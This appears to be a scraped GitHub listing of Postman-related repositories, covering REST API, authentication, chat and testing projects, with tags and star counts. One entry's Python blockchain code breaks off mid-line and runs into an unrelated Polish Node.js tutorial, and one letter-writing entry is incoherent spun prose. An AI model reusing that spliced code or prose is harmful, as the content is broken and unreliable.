This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML | 1 stars | 1 watchers | 1 forks |
|
elsaVelazquez/cybersecurity auth, authentication, java, javascript, mongo, script, security |
authentication using RESTful API, Vuejs, javascript, postman, mongoDB | 1 stars | 1 watchers | 0 forks |
|
kpraneeth3456/JWT-Authentication account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user |
Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. | 1 stars | 1 watchers | 0 forks |
|
ibm-cloud-security/appid-postman cloud, security |
IBM Cloud App ID Postman Collection | 0 stars | 0 watchers | 2 forks |
|
th3resource/cisco_security_postman cisco, description, resource, script, security, source |
No description available. | 0 stars | 0 watchers | 1 forks |
|
Pal0720/Dec-api application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated |
Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. | 0 stars | 0 watchers | 1 forks |
|
disconnect5852/security rest, rest api, security, spring, test, testing |
testing spring security, testing of testing, simple rest api, trying out postman, etc. | 0 stars | 0 watchers | 0 forks |
|
Greg1992/mongotut communicate, data, database, modern, mongo, package, packages, security, test, testing |
Server set up to communicate with a MongoDB database, using modern security measures to encrypt data. Used POSTMAN and Node testing packages (Mocha and Chai) | 0 stars | 0 watchers | 0 forks |
|
dontamayo/security_authentication auth, authentication, mongo, security |
I used mongoDB, Robo3T, Postman, NodeJs, NPM, Bcrypt, Crypto | 0 stars | 0 watchers | 0 forks |
|
nikitaphopse/django_customer_base_project action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions |
We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku | 0 stars | 0 watchers | 0 forks |
|
RubenSantana/xx_sec_and_auth auth, authorization, security, test, tests |
tests for security and authorization with MongoDB, Mongoose, Robo3T, Postman, and others | 0 stars | 0 watchers | 0 forks |
|
saksham1998/node-rest auth, authentication, example, node, rest, rest api, security, sign up |
A small example rest api, with security,authentication,log in and sign up features. Complete Backend of the app. To be run on postman | 0 stars | 0 watchers | 0 forks |
|
vinay-sv/spring-security-authentication auth, authentication, branch, collection, connection, future, includes, security, spring, struct, structure |
Authentication Using spring security which includes basic auth, db authentication and jwt. Postman collection added under jwt authentication branch. For Db authentication only the structure is present and not the actual db connections, which is to be implemented in the future. | 0 stars | 0 watchers | 0 forks |
|
xinzhaizisunqi/spring-security-use-postman security, spring |
spring-security | 0 stars | 0 watchers | 0 forks |
|
wechatpay-apiv3/wechatpay-postman-script chat, script |
微信支付API v3的调试工具 | 0 stars | 0 watchers | 22 forks |
|
Inn4ki/chatapp admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app |
NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js | 4 stars | 4 watchers | 5 forks |
|
SunDoge/vue-postman chat |
A Vue.js project works like postman for wechat. | 1 stars | 1 watchers | 1 forks |
|
JimmyCastiel/postman chat, secure, secured, threaded |
Multi-threaded secured chat over TCP | 1 stars | 1 watchers | 0 forks |
|
WouterJanson/Fix-bunq-support-notifications chat, collection, notification, support |
A collection of Postman request that lets you fix a bug with the support chat notifications. | 1 stars | 1 watchers | 0 forks |
|
sonali-developer/SmackApplication application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users |
App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. | 0 stars | 0 watchers | 2 forks |
|
devalshilu/postmanchat chat, description, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
oleh-polishchuk/slack-postman-chatbot chat, description, script, slack |
No description available. | 0 stars | 0 watchers | 0 forks |
|
aq1/vkPostman chat, friend, move, moved, telegram |
You removed yourself from VK but have some friends you want to chat? This telegram bot can help you! | 0 stars | 0 watchers | 0 forks |
|
dinushchathurya/node-mysql-crud-app api blueprint, asyncapi, chat, crud, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Create Restful API using nodejs, express and mysql | 0 stars | 0 watchers | 0 forks |
|
gondar00/postman-chat chat |
socket.io | 0 stars | 0 watchers | 0 forks |
|
NeytChi/mini-message chat, document, http, https, message, mini, server, test, version |
Little server for little chat app. Postman: https://documenter.getpostman.com/view/5257392/S1a1aUAN?version=latest#f26b02f5-ca14-4139-a88e-b37d1e8c28cc | 0 stars | 0 watchers | 0 forks |
|
ragizaki/ConsultED backend, chat, design, designed, future, learn, model, options, software, student, test, tests |
FAQ chatbot designed to help secondary students better learn of their post-secondary options. The model tests the accuracy of responses and incorporates them in the future. Postman software was used, and called the Genesys API to create the backend of the chatbot. | 0 stars | 0 watchers | 0 forks |
|
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
|
uchat/postmanTestcaseGenerator case, cases, chat, test |
Generate Postman test cases from JSON | 0 stars | 0 watchers | 0 forks |
|
simionrobert/cloud-signature-consortium cloud, consortium, signature, sort |
Cloud Signature Consortium Remote Signature Service Provider in Node.js | 3 stars | 3 watchers | 1 forks |
|
jsmars/MrPostman game, mars, sort |
A post-sorting VR game created during GGJ18 | 1 stars | 1 watchers | 1 forks |
|
ivansams/PostmanCollectionSorter collection, collections, history, match, object, order, output, random, sort, source, version |
Cmd line app to sort the requests within Postman collections to match the order object. Postman randomly shuffles requests when outputting collections in order to make source control difficult even with minor changes. If this is run before each update to a collection, it allows you to see incremental changes to each version in history instead of the entire collection being shuffled. | 1 stars | 1 watchers | 0 forks |
|
nickrusso42518/postman collection, collections, environment, environments, sort |
Assortment of Postman collections/environments | 1 stars | 1 watchers | 0 forks |
|
skhetarpaul/project-back-end arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users |
This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. | 1 stars | 1 watchers | 0 forks |
|
coderIlluminatus/postman-youtube client, intern, internship, sort, youtube |
YouTube API Search with client-side sorting - Assignment for Postman 6 months internship | 0 stars | 0 watchers | 1 forks |
|
kevincardona/kafka_ui consume, consumer, interface, kafka, sort, test, testing |
An easy to use interface for testing Kafka consumers. It's sorta like Postman but for Kafka ✨. | 0 stars | 0 watchers | 0 forks |
|
gouravjixer/Informal-letter-format address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome |
Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. | 0 stars | 0 watchers | 0 forks |
|
dwgrigsby/IndyNETConPostman201907 script, sort |
Indy .NET Consortium - Tricking out Postman, The API Development Environment (sound and raw transcript) | 0 stars | 0 watchers | 0 forks |
|
Gyanachand1/Blockchain action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user |
# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
|
jeffubayi/Events-Organizer application, event, mini, schedule, scheduler, sort, version |
An event scheduler application, sort of like a mini version of Eventbrite/Meetup | 0 stars | 0 watchers | 0 forks |
|
LOTIRELK/LetterBoxSimulation display, e mail, experiment, following, initial, mail, office, play, process, program, sort |
Postman Pat became bored one night at the postal sorting office and to break the monotony of the nightshift, he carried out the following experiment with a row of mailboxes (all initially closed) in the post office. These mailboxes are numbered 1 through to 150, and beginning with mailbox 2, he opened the doors of all the even-numbered mailboxes. Next, beginning with mailbox 3, he went to every third mailbox, opening its door if it was closed and closing it if it was open. Then he repeated this procedure with every fourth door, then every fifth door, and so on. When he finished, he was surprised at the distribution of closed mailboxes. A program to determine and display which mailboxes these were (i.e. which doors were closed at the end of the process). | 0 stars | 0 watchers | 0 forks |
|
LumosX/Requiem-for-the-Postman game, sort |
Ludum Dare 42: Mail sorting game | 0 stars | 0 watchers | 0 forks |
|
martynow173/practice-3 actor, backend, comments, function, functional, github, handling, http, https, laravel, product, products, rating, relationship, sort, system, user |
Just backend requests handling, use postman. Additional functionality and code refactoring: user ratings, comments, sorting based on them, many-to-many relationship between categories and products. Role system - https://github.com/spatie/laravel-permission | 0 stars | 0 watchers | 0 forks |
|
mistakenot/postman email, mail, sort, writing |
Learning a full stack (TypeScript, Firebase, Angular 2, Node) by writing some sort of email inbox thing. | 0 stars | 0 watchers | 0 forks |
|
CiscoDevNet/opendaylight-sample-apps application, applications, apps, http, https, light, sample |
Sample applications for use with OpenDaylight (https://www.opendaylight.org/) | 0 stars | 0 watchers | 36 forks |
|
Inn4ki/chatapp admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app |
NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js | 4 stars | 4 watchers | 5 forks |
|
flyworker/python-automation-testing application, applications, automat, automate, automated, automation, python, river, software, test, testing, web app |
Learn about automated software testing with Python, Selenium WebDriver, and API, Postman, focusing on web applications. | 0 stars | 0 watchers | 12 forks |
|
narkhedegs/Restler application, applications |
Rest Request Collection Runner for applications like DevHttpClient and Postman. | 3 stars | 3 watchers | 0 forks |
|
jorgecotillo/aspnet_core_identity_server_4_postman application, applications, aspnet, config, configuration, demonstrate, entity, server, test |
Sample applications that demonstrates the configuration of your WebApi and IdentityServer4 to test your API from Postman | 0 stars | 0 watchers | 6 forks |
|
Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
|
JeromeLefebvre/PI-Web-API-Introduction-to-PI-Web-API-using-Postman application, applications, course, modern |
The PI World 2018 TechCon Learn how to use PI Web API to build modern applications course | 1 stars | 1 watchers | 1 forks |
|
ivangfr/springboot-testing-mysql api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities |
The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman | 1 stars | 1 watchers | 0 forks |
|
BackstageBones/BDD-testing application, applications, automat, automate, automated, river, software, test, testing, web app |
Learn about automated software testing with Python, BDD, Selenium WebDriver, and Postman, focusing on web applications | 0 stars | 0 watchers | 0 forks |
|
HuGomez/automated-swtesting-withpy application, applications, automat, automate, automated, river, software, test, testing, web app |
Learning about automated software testing with Python, BDD, Selenium WebDriver, and Postman, focusing on web applications | 0 stars | 0 watchers | 0 forks |
|
theuggla/javascript-at application, applications, client, concept, java, javascript, program, ranging, script, server, servers, standalone, test, testing |
ranging from small programs to full applications testing out javascript concepts, both as standalone applications, servers and client applications | 0 stars | 0 watchers | 0 forks |
|
bera5186/task-manager-API application, applications, auth, authentication, manager, task |
A complete REST API for To-Do applications with JWT based authentication and MongoDB 🔥⚡ | 0 stars | 0 watchers | 0 forks |
|
isocracy272/apic application, applications, modification |
Creation and modification of applications in Cisco APIC using JSON/Postman. | 0 stars | 0 watchers | 0 forks |
|
yogibaba2/ExecutorAPI application, applications, efficient, express, framework, selenium, server, web app |
An express server to expose selenium and postman framework to web applications for easy and efficient use | 0 stars | 0 watchers | 0 forks |
|
postmanlabs/postman-sandbox sandbox |
Sandbox for Postman Scripts to run in NodeJS or Chrome | 30 stars | 30 watchers | 21 forks |
|
PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website |
